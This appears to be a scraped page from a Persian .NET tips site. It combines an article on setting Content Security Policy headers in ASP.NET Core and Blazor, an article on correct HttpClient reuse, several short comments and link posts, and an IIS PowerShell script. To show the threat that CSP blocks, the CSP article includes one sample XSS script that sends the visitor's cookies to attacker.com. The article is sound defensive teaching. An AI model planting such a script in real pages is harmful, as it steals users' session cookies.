خیلی خیلی ممنون :) ... اگه میشه نسخهی nuget کتایخانه را هم بذارید
نظرات مطالب
EF Code First #1
اینجا بحث شده: «خلاصهای در مورد روشهای دریافت فایل از سایت NuGet»
نظرات مطالب
استفاده از reCAPTCHA در ASP.NET
اگر دسترسی به گوگل کد ندارید، میشود از طریق NuGet نیز آنرا دریافت کرد.
اشتراکها
کتاب Blazor WebAssembly Succinctly
تابحال مطالب زیادی را در مورد تمیزکردن ورودیهای کاربران، توسط ابزارهای Anti-XSS مطالعه کردهاید:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»
هدف تمام آنها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آنها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیهی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کنندههای ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری میرسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شدهای را در صفحه، ممنوع میکند:
- «افزودن هدرهای Content Security Policy به برنامههای ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری میکند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایلهای CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمیشوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمیتوان یک قطعهی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپتهای داخل صفحهای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمیخواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) بهعنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا میشود، کوکیهای کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار میدهد:
سؤال: چگونه توسط CSP، اسکریپتهای inline خوب را از بد تشخیص دهیم؟
یک روش مواجه شدن با منع اجرای اسکریپتهای inline، مجاز اعلام کردن تمام آنها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بیمصرف میکند. روش دیگر آن، معرفی هش اسکریپتهای inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمیخواهد آنرا اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر میکند:
همانطور که مشاهده میکنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شدهاست. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار دادهایم و یک «اسکریپت خوب» بهشمار میرود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
در اینجا به نحو صریحی مشخص میکنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شدهی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر میکند، مقدار این هش را به روز کرد.
معرفی کتابخانهی NetEscapades.AspNetCore.SecurityHeaders
جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامههای مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، میتوان از میانافزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بستهی نیوگت آنرا معرفی کرد:
و سپس به نحو زیر، یکی از امنترین تنظیمات را تدارک دید:
چند نکته:
- این تنظیمات برای Blazor WASM تهیه شدهاند. در این حالت ذکر UnsafeEval برای اجرای اسکریپتهای فریمورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده میکنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هشها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده میکنید.
پس از تدارک کلاس تنظیمات فوق، روش استفادهی از آن در فایل Program.cs و توسط میانافزار SecurityHeaders، به صورت زیر است:
این تنظیم سبب میشود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»
- «افزودن هدرهای Content Security Policy به برنامههای ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
Content-Security-Policy: default-src 'self'
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>
سؤال: چگونه توسط CSP، اسکریپتهای inline خوب را از بد تشخیص دهیم؟
یک روش مواجه شدن با منع اجرای اسکریپتهای inline، مجاز اعلام کردن تمام آنها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بیمصرف میکند. روش دیگر آن، معرفی هش اسکریپتهای inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمیخواهد آنرا اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر میکند:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword, a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='), or a nonce ('nonce-...') is required to enable inline execution.
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
معرفی کتابخانهی NetEscapades.AspNetCore.SecurityHeaders
جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامههای مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، میتوان از میانافزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بستهی نیوگت آنرا معرفی کرد:
<ItemGroup> <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" /> </ItemGroup>
public static class SecurityHeadersBuilder { public static HeaderPolicyCollection GetCsp(bool isDevelopment) { var policy = new HeaderPolicyCollection() .AddFrameOptionsDeny() .AddXssProtectionBlock() .AddContentTypeOptionsNoSniff() .AddReferrerPolicyStrictOriginWhenCrossOrigin() .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin()) .AddCrossOriginResourcePolicy(builder => builder.SameOrigin()) .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp()) .AddContentSecurityPolicy(builder => { builder.AddBaseUri().Self(); builder.AddDefaultSrc().Self().From("blob:"); builder.AddObjectSrc().Self().From("blob:"); builder.AddBlockAllMixedContent(); builder.AddImgSrc().Self().From("data:").From("blob:").From("https:"); builder.AddFontSrc().Self(); builder.AddStyleSrc().Self(); builder.AddFrameAncestors().None(); builder.AddConnectSrc().Self(); builder.AddMediaSrc().Self(); builder.AddScriptSrc().Self() // Specify any additional hashes to permit your required `non-framework` scripts to load. .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=") // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function. .UnsafeEval(); //TODO: Add api/CspReport/Log action method ... // https://www.dntips.ir/post/2706 builder.AddReportUri().To("/api/CspReport/Log"); builder.AddUpgradeInsecureRequests(); }) .RemoveServerHeader() .AddPermissionsPolicy(builder => { builder.AddAccelerometer().None(); builder.AddAutoplay().None(); builder.AddCamera().None(); builder.AddEncryptedMedia().None(); builder.AddFullscreen().All(); builder.AddGeolocation().None(); builder.AddGyroscope().None(); builder.AddMagnetometer().None(); builder.AddMicrophone().None(); builder.AddMidi().None(); builder.AddPayment().None(); builder.AddPictureInPicture().None(); builder.AddSyncXHR().None(); builder.AddUsb().None(); }); if (!isDevelopment) { // maxAge = one year in seconds policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains(); } policy.ApplyDocumentHeadersToAllResponses(); return policy; } }
- این تنظیمات برای Blazor WASM تهیه شدهاند. در این حالت ذکر UnsafeEval برای اجرای اسکریپتهای فریمورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده میکنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هشها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده میکنید.
پس از تدارک کلاس تنظیمات فوق، روش استفادهی از آن در فایل Program.cs و توسط میانافزار SecurityHeaders، به صورت زیر است:
var app = builder.Build(); // ... var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment()); app.UseSecurityHeaders(headerPolicyCollection); app.UseHttpsRedirection(); // ...
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests Cross-Origin-Embedder-Policy:require-corp Cross-Origin-Opener-Policy:same-origin Cross-Origin-Resource-Policy:same-origin Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=() Referrer-Policy:strict-origin-when-cross-origin X-Content-Type-Options:nosniff X-Frame-Options:DENY X-Xss-Protection:1; mode=block
اگر در کدهای خود قطعه کد ذیل را دارید:
استفادهی از using در اینجا، نهتنها غیرضروری و اشتباه است، بلکه سبب از کار افتادن زود هنگام برنامهی شما با صدور استثنای ذیل خواهد شد:
HttpClient خود را Dispose نکنید
کلاس HttpClient اینترفیس IDisposable را پیاده سازی میکند. بنابراین روش استفادهی اصولی آن باید به صورت ذیل و با پیاده سازی خودکار رهاسازی منابع مرتبط با آن باشد:
اما در این حال فرض کنید به همین روش تعدادی درخواست را ارسال کردهاید:
مشکل این روش، در ایجاد سوکتهای متعددی است که حتی پس از بسته شدن برنامه نیز باز، باقی خواهند ماند:
این یک نمونهی خروجی برنامهی فوق، توسط دستور netstat «پس از بسته شدن کامل برنامه» است.
بنابراین اگر برنامهی شما تعداد زیادی کاربر دارد و یا تعداد زیادی درخواست را به روش فوق ارسال میکند، سیستم عامل به حد اشباع ایجاد سوکتهای جدید خواهد رسید.
این مشکل نیز ارتباطی به طراحی این کلاس و یا زبان #C و حتی استفادهی از using نیز ندارد. این رفتار، رفتار معمول سیستم عامل، با سوکتهای ایجاد شدهاست. TIME_WAIT ایی را که در اینجا ملاحظه میکنید، به معنای بسته شدن اتصال از طرف برنامهی ما است؛ اما سیستم عامل هنوز منتظر نتیجهی نهایی، از طرف دیگر اتصال است که آیا قرار است بستهی TCP ایی را دریافت کند یا خیر و یا شاید در بین راه تاخیری وجود داشتهاست. برای نمونه ویندوز به مدت 240 ثانیه یک اتصال را در این حالت حفظ خواهد کرد، که مقدار آن نیز در اینجا تنظیم میشود:
بنابراین روش توصیه شدهی کار با HttpClient، داشتن یک وهلهی سراسری از آن در برنامه و عدم Dispose آن است. HttpClient نیز thread-safe طراحی شدهاست و دسترسی به یک شیء سراسری آن در برنامههای چند ریسمانی مشکلی را ایجاد نمیکند. همچنین Dispose آن نیز غیرضروری است و پس از پایان برنامه به صورت خودکار توسط سیستم عامل انجام خواهد شد.
تمام اجزای HttpClient به صورت Thread-safe طراحی نشدهاند
تا اینجا به این نتیجه رسیدیم که روش صحیح کار کردن با HttpClient، نیاز به داشتن یک وهلهی Singleton از آنرا در سراسر برنامه دارد و Dispose صریح آن، بجز اشباع سوکتهای سیستم عامل و ناپایدار کردن تمام برنامههایی که از آن سرویس میگیرند، حاصلی را به همراه نخواهد داشت. در این بین مطابق مستندات HttpClient، استفادهی از متدهای ذیل این کلاس thread-safe هستند:
اما تغییر این خواص در کلاس HttpClient به هیچ عنوان thread-safe نبوده و در برنامههای چند ریسمانی و چند کاربری، مشکل ساز میشوند:
بنابراین در طراحی کلاس مدیریت کنندهی HttpClient برنامهی خود نیاز است به ازای هر BaseAddress، یک HttpClient خاص آنرا ایجاد کرد و HttpClientهای سراسری نمیتوانند BaseAddressهای خود را نیز به اشتراک گذاشته و تغییری را در آن ایجاد کنند.
استفادهی سراسری و مجدد از HttpClient، تغییرات DNS را متوجه نمیشود
با طراحی یک کلاس مدیریت کنندهی سراسری HttpClient با طول عمر Singelton، به یک مشکل دیگر نیز برخواهیم خورد: چون در اینجا از اتصالات، استفادهی مجدد میشوند، دیگر تغییرات DNS را لحاظ نخواهند کرد.
برای حل این مشکل، در زمان ایجاد یک HttpClient سراسری، به ازای یک BaseAddress مشخص، باید از ServicePointManager کوئری گرفته و زمان اجارهی اتصال آنرا دقیقا مشخص کنیم:
با اینکار هرچند هنوز هم از اتصالات استفادهی مجدد میشود، اما این استفادهی مجدد، نامحدود نبوده و مدت معینی را پیدا میکند.
طراحی یک کلاس، برای مدیریت سراسری وهلههای HttpClient
تا اینجا به صورت خلاصه به نکات ذیل رسیدیم:
- HttpClient باید به صورت یک وهلهی سراسری Singleton مورد استفاده قرار گیرد. هر وهله سازی مجدد آن 35ms زمان میبرد.
- Dispose یک HttpClient غیرضروری است.
- HttpClient تقریبا thread safe طراحی شدهاست؛ اما تعدادی از خواص آن مانند BaseAddress اینگونه نیستند.
- برای رفع مشکل اتصالات چسبنده (اتصالاتی که هیچگاه پایان نمییابند)، نیاز است timeout آنرا تنظیم کرد.
بنابراین بهتر است این نکات را در یک کلاس به صورت ذیل کپسوله کنیم:
در اینجا به ازای هر baseAddress جدید، یک HttpClient خاص آن ایجاد میشود تا در کل برنامه مورد استفادهی مجدد قرار گیرد. برای مدیریت thread-safe ایجاد HttpClientها نیز از نکتهی مطلب «الگویی برای مدیریت دسترسی همزمان به ConcurrentDictionary» استفاده شدهاست. همچنین نکات تنظیم ConnectionLeaseTimeout و سایر خواص غیر thread-safe کلاس HttpClient نیز در اینجا لحاظ شدهاند.
پس از تدارک این کلاس، نحوهی معرفی آن به سیستم باید به صورت Singleton باشد. برای مثال اگر از ASP.NET Core استفاده میکنید، آنرا به صورت ذیل ثبت کنید:
اکنون، یک نمونه، نحوهی استفادهی از اینترفیس IHttpClientFactory تزریقی به صورت ذیل میباشد:
سرویس IHttpClientFactory یک HttpClient را به ازای host درخواستی ایجاد کرده و در طول عمر برنامه از آن استفادهی مجدد میکند. به همین جهت دیگر مشکل اشباع سوکتها در این سیستم رخ نخواهند داد.
برای مطالعهی بیشتر
You're using HttpClient wrong and it is destabilizing your software
Disposable, Finalizers, and HttpClient
Using HttpClient as it was intended (because you’re not)
Singleton HttpClient? Beware of this serious behaviour and how to fix it
Beware of the .NET HttpClient
Effectively Using HttpClient
using(var client = new HttpClient()) { // do something with http client }
Unable to connect to the remote server System.Net.Sockets.SocketException: Only one usage of each socket address (protocol/network address/port) is normally permitted.
HttpClient خود را Dispose نکنید
کلاس HttpClient اینترفیس IDisposable را پیاده سازی میکند. بنابراین روش استفادهی اصولی آن باید به صورت ذیل و با پیاده سازی خودکار رهاسازی منابع مرتبط با آن باشد:
using (var client = new HttpClient()) { var result = await client.GetAsync("http://example.com/"); }
for (int i = 0; i < 10; i++) { using (var client = new HttpClient()) { var result = await client.GetAsync("http://example.com/"); Console.WriteLine(result.StatusCode); } }
TCP 192.168.1.6:13996 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:13997 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:13998 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:13999 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:14000 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:14001 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:14002 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:14003 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:14004 93.184.216.34:http TIME_WAIT TCP 192.168.1.6:14005 93.184.216.34:http TIME_WAIT
بنابراین اگر برنامهی شما تعداد زیادی کاربر دارد و یا تعداد زیادی درخواست را به روش فوق ارسال میکند، سیستم عامل به حد اشباع ایجاد سوکتهای جدید خواهد رسید.
این مشکل نیز ارتباطی به طراحی این کلاس و یا زبان #C و حتی استفادهی از using نیز ندارد. این رفتار، رفتار معمول سیستم عامل، با سوکتهای ایجاد شدهاست. TIME_WAIT ایی را که در اینجا ملاحظه میکنید، به معنای بسته شدن اتصال از طرف برنامهی ما است؛ اما سیستم عامل هنوز منتظر نتیجهی نهایی، از طرف دیگر اتصال است که آیا قرار است بستهی TCP ایی را دریافت کند یا خیر و یا شاید در بین راه تاخیری وجود داشتهاست. برای نمونه ویندوز به مدت 240 ثانیه یک اتصال را در این حالت حفظ خواهد کرد، که مقدار آن نیز در اینجا تنظیم میشود:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\TcpTimedWaitDelay]
بنابراین روش توصیه شدهی کار با HttpClient، داشتن یک وهلهی سراسری از آن در برنامه و عدم Dispose آن است. HttpClient نیز thread-safe طراحی شدهاست و دسترسی به یک شیء سراسری آن در برنامههای چند ریسمانی مشکلی را ایجاد نمیکند. همچنین Dispose آن نیز غیرضروری است و پس از پایان برنامه به صورت خودکار توسط سیستم عامل انجام خواهد شد.
تمام اجزای HttpClient به صورت Thread-safe طراحی نشدهاند
تا اینجا به این نتیجه رسیدیم که روش صحیح کار کردن با HttpClient، نیاز به داشتن یک وهلهی Singleton از آنرا در سراسر برنامه دارد و Dispose صریح آن، بجز اشباع سوکتهای سیستم عامل و ناپایدار کردن تمام برنامههایی که از آن سرویس میگیرند، حاصلی را به همراه نخواهد داشت. در این بین مطابق مستندات HttpClient، استفادهی از متدهای ذیل این کلاس thread-safe هستند:
CancelPendingRequests DeleteAsync GetAsync GetByteArrayAsync GetStreamAsync GetStringAsync PostAsync PutAsync SendAsync
BaseAddress DefaultRequestHeaders MaxResponseContentBufferSize Timeout
استفادهی سراسری و مجدد از HttpClient، تغییرات DNS را متوجه نمیشود
با طراحی یک کلاس مدیریت کنندهی سراسری HttpClient با طول عمر Singelton، به یک مشکل دیگر نیز برخواهیم خورد: چون در اینجا از اتصالات، استفادهی مجدد میشوند، دیگر تغییرات DNS را لحاظ نخواهند کرد.
برای حل این مشکل، در زمان ایجاد یک HttpClient سراسری، به ازای یک BaseAddress مشخص، باید از ServicePointManager کوئری گرفته و زمان اجارهی اتصال آنرا دقیقا مشخص کنیم:
var sp = ServicePointManager.FindServicePoint(new Uri("http://thisisasample.com")); sp.ConnectionLeaseTimeout = 60*1000; //In milliseconds
طراحی یک کلاس، برای مدیریت سراسری وهلههای HttpClient
تا اینجا به صورت خلاصه به نکات ذیل رسیدیم:
- HttpClient باید به صورت یک وهلهی سراسری Singleton مورد استفاده قرار گیرد. هر وهله سازی مجدد آن 35ms زمان میبرد.
- Dispose یک HttpClient غیرضروری است.
- HttpClient تقریبا thread safe طراحی شدهاست؛ اما تعدادی از خواص آن مانند BaseAddress اینگونه نیستند.
- برای رفع مشکل اتصالات چسبنده (اتصالاتی که هیچگاه پایان نمییابند)، نیاز است timeout آنرا تنظیم کرد.
بنابراین بهتر است این نکات را در یک کلاس به صورت ذیل کپسوله کنیم:
using System; using System.Collections.Generic; using System.Net.Http; namespace HttpClientTips { public interface IHttpClientFactory : IDisposable { HttpClient GetOrCreate( Uri baseAddress, IDictionary<string, string> defaultRequestHeaders = null, TimeSpan? timeout = null, long? maxResponseContentBufferSize = null, HttpMessageHandler handler = null); } }
using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Net; using System.Net.Http; using System.Threading; namespace HttpClientTips { /// <summary> /// Lifetime of this class should be set to `Singleton`. /// </summary> public class HttpClientFactory : IHttpClientFactory { // 'GetOrAdd' call on the dictionary is not thread safe and we might end up creating the HttpClient more than // once. To prevent this Lazy<> is used. In the worst case multiple Lazy<> objects are created for multiple // threads but only one of the objects succeeds in creating the HttpClient. private readonly ConcurrentDictionary<Uri, Lazy<HttpClient>> _httpClients = new ConcurrentDictionary<Uri, Lazy<HttpClient>>(); private const int ConnectionLeaseTimeout = 60 * 1000; // 1 minute public HttpClientFactory() { // Default is 2 minutes: https://msdn.microsoft.com/en-us/library/system.net.servicepointmanager.dnsrefreshtimeout(v=vs.110).aspx ServicePointManager.DnsRefreshTimeout = (int)TimeSpan.FromMinutes(1).TotalMilliseconds; // Increases the concurrent outbound connections ServicePointManager.DefaultConnectionLimit = 1024; } public HttpClient GetOrCreate( Uri baseAddress, IDictionary<string, string> defaultRequestHeaders = null, TimeSpan? timeout = null, long? maxResponseContentBufferSize = null, HttpMessageHandler handler = null) { return _httpClients.GetOrAdd(baseAddress, uri => new Lazy<HttpClient>(() => { // Reusing a single HttpClient instance across a multi-threaded application means // you can't change the values of the stateful properties (which are not thread safe), // like BaseAddress, DefaultRequestHeaders, MaxResponseContentBufferSize and Timeout. // So you can only use them if they are constant across your application and need their own instance if being varied. var client = handler == null ? new HttpClient { BaseAddress = baseAddress } : new HttpClient(handler, disposeHandler: false) { BaseAddress = baseAddress }; setRequestTimeout(timeout, client); setMaxResponseBufferSize(maxResponseContentBufferSize, client); setDefaultHeaders(defaultRequestHeaders, client); setConnectionLeaseTimeout(baseAddress, client); return client; }, LazyThreadSafetyMode.ExecutionAndPublication)).Value; } public void Dispose() { foreach (var httpClient in _httpClients.Values) { httpClient.Value.Dispose(); } } private static void setConnectionLeaseTimeout(Uri baseAddress, HttpClient client) { // This ensures connections are used efficiently but not indefinitely. client.DefaultRequestHeaders.ConnectionClose = false; // keeps the connection open -> more efficient use of the client ServicePointManager.FindServicePoint(baseAddress).ConnectionLeaseTimeout = ConnectionLeaseTimeout; // ensures connections are not used indefinitely. } private static void setDefaultHeaders(IDictionary<string, string> defaultRequestHeaders, HttpClient client) { if (defaultRequestHeaders == null) { return; } foreach (var item in defaultRequestHeaders) { client.DefaultRequestHeaders.Add(item.Key, item.Value); } } private static void setMaxResponseBufferSize(long? maxResponseContentBufferSize, HttpClient client) { if (maxResponseContentBufferSize.HasValue) { client.MaxResponseContentBufferSize = maxResponseContentBufferSize.Value; } } private static void setRequestTimeout(TimeSpan? timeout, HttpClient client) { if (timeout.HasValue) { client.Timeout = timeout.Value; } } } }
پس از تدارک این کلاس، نحوهی معرفی آن به سیستم باید به صورت Singleton باشد. برای مثال اگر از ASP.NET Core استفاده میکنید، آنرا به صورت ذیل ثبت کنید:
namespace HttpClientTips.Web { public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddSingleton<IHttpClientFactory, HttpClientFactory>(); services.AddMvc(); }
اکنون، یک نمونه، نحوهی استفادهی از اینترفیس IHttpClientFactory تزریقی به صورت ذیل میباشد:
namespace HttpClientTips.Web.Controllers { public class HomeController : Controller { private readonly IHttpClientFactory _httpClientFactory; public HomeController(IHttpClientFactory httpClientFactory) { _httpClientFactory = httpClientFactory; } public async Task<IActionResult> Index() { var host = new Uri("http://localhost:5000"); var httpClient = _httpClientFactory.GetOrCreate(host); var responseMessage = await httpClient.GetAsync("home/about").ConfigureAwait(false); var responseContent = await responseMessage.Content.ReadAsStringAsync().ConfigureAwait(false); return Content(responseContent); }
برای مطالعهی بیشتر
You're using HttpClient wrong and it is destabilizing your software
Disposable, Finalizers, and HttpClient
Using HttpClient as it was intended (because you’re not)
Singleton HttpClient? Beware of this serious behaviour and how to fix it
Beware of the .NET HttpClient
Effectively Using HttpClient
اشتراکها
آموزش مقدماتی WebGL
WebGL is an in-browser 3D renderer based on OpenGL, which lets you display your 3D content directly into an HTML5 page. Throughout this series I will cover all the essentials you need to get started using this framework. We'll start with an introduction, then we'll be building on to the framework that we used in part one as well as adding a model importer and a custom class for 3D objects. You will also be introduced to animation and controls. Lastly, we’ll take a look at lighting and adding 2D objects to your scene.
یک نکتهی تکمیلی: الزامات زنده نگه داشتن کارهای پسزمینه در IIS به صورت یک اسکریپت پاورشل
## IIS WebAdmin Module Import-Module WebAdministration $AppPoolInstance = Get-Item IIS:\AppPools\$AppPool Write-Output "Set Site PreLoadEnabled to true" Set-ItemProperty IIS:\Sites\$Site -name applicationDefaults.preloadEnabled -value True Write-Output "Set Recycling.periodicRestart.time = 0" $AppPoolInstance.Recycling.periodicRestart.time = [TimeSpan]::Parse("0"); $AppPoolInstance | Set-Item Write-Output "Set App Pool start up mode to AlwaysRunning" $AppPoolInstance.startMode = "alwaysrunning" Write-Output "Disable App Pool Idle Timeout" $AppPoolInstance.processModel.idleTimeout = [TimeSpan]::FromMinutes(0) $AppPoolInstance | Set-Item if ($appPoolStatus -ne "Started") { Write-Output "Starting App Pool" Start-WebAppPool $AppPool } else { Write-Output "Restarting App Pool" Restart-WebAppPool $AppPool }